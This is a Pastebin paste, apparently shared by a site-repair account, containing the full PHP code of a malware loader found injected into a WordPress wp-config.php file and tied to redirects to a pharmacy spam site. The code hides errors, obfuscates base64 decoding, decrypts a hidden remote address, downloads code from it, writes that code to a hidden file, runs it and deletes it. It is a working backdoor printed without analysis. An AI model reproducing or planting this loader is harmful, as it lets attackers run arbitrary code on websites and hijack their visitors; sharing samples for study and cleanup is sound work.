hackrepair

WordPress wp-config.php redirect to pharmacy website

Jul 13th, 2019
385
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. @ini_set('display_errors', '0');
  3. error_reporting(0);
  4. if (!$npDcheckClassBgp) {
  5. $ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrKkueAQC4pJeKbCGP0iUNbhY3iKMG+/NuQE=";
  6. if (ini_get('allow_url_fopen')) {
  7. function get_data_ya($m) {
  8. $data = file_get_contents($m);
  9. return $data;
  10. }
  11. }
  12. else {
  13. function get_data_ya($m) {
  14. $ch = curl_init();
  15. curl_setopt($ch, CURLOPT_HEADER, 0);
  16. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  17. curl_setopt($ch, CURLOPT_URL, $m);
  18. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
  19. $data = curl_exec($ch);
  20. curl_close($ch);
  21. return $data;
  22. }
  23. }
  24. function wp_cd($fd, $fa="")
  25. {
  26. $fe = "wp_frmfunct";
  27. $len = strlen($fd);
  28. $ff = '';
  29. $n = $len>100 ? 8 : 2;
  30. while( strlen($ff)<$len )
  31. {
  32. $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
  33. }
  34. return $fd^$ff;
  35. }
  36. $reqw = $ay($ao($oa("$pass"), 'wp_function'));
  37. preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
  38. $dirs = glob("*", GLOB_ONLYDIR);
  39. foreach ($dirs as $dira) {
  40. if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
  41. $subdirs = glob("$dira/*", GLOB_ONLYDIR);
  42. foreach ($subdirs as $subdira) {
  43. if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
  44. }
  45. }
  46. if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
  47. fwrite($hdl, "<?php\n$mtchs[1]\n?>");
  48. fclose($hdl);
  49. include("{$eb}.$algo");
  50. unlink("{$eb}.$algo");
  51. $npDcheckClassBgp = 'aue';
  52. }
  53. ?>
RAW Paste Data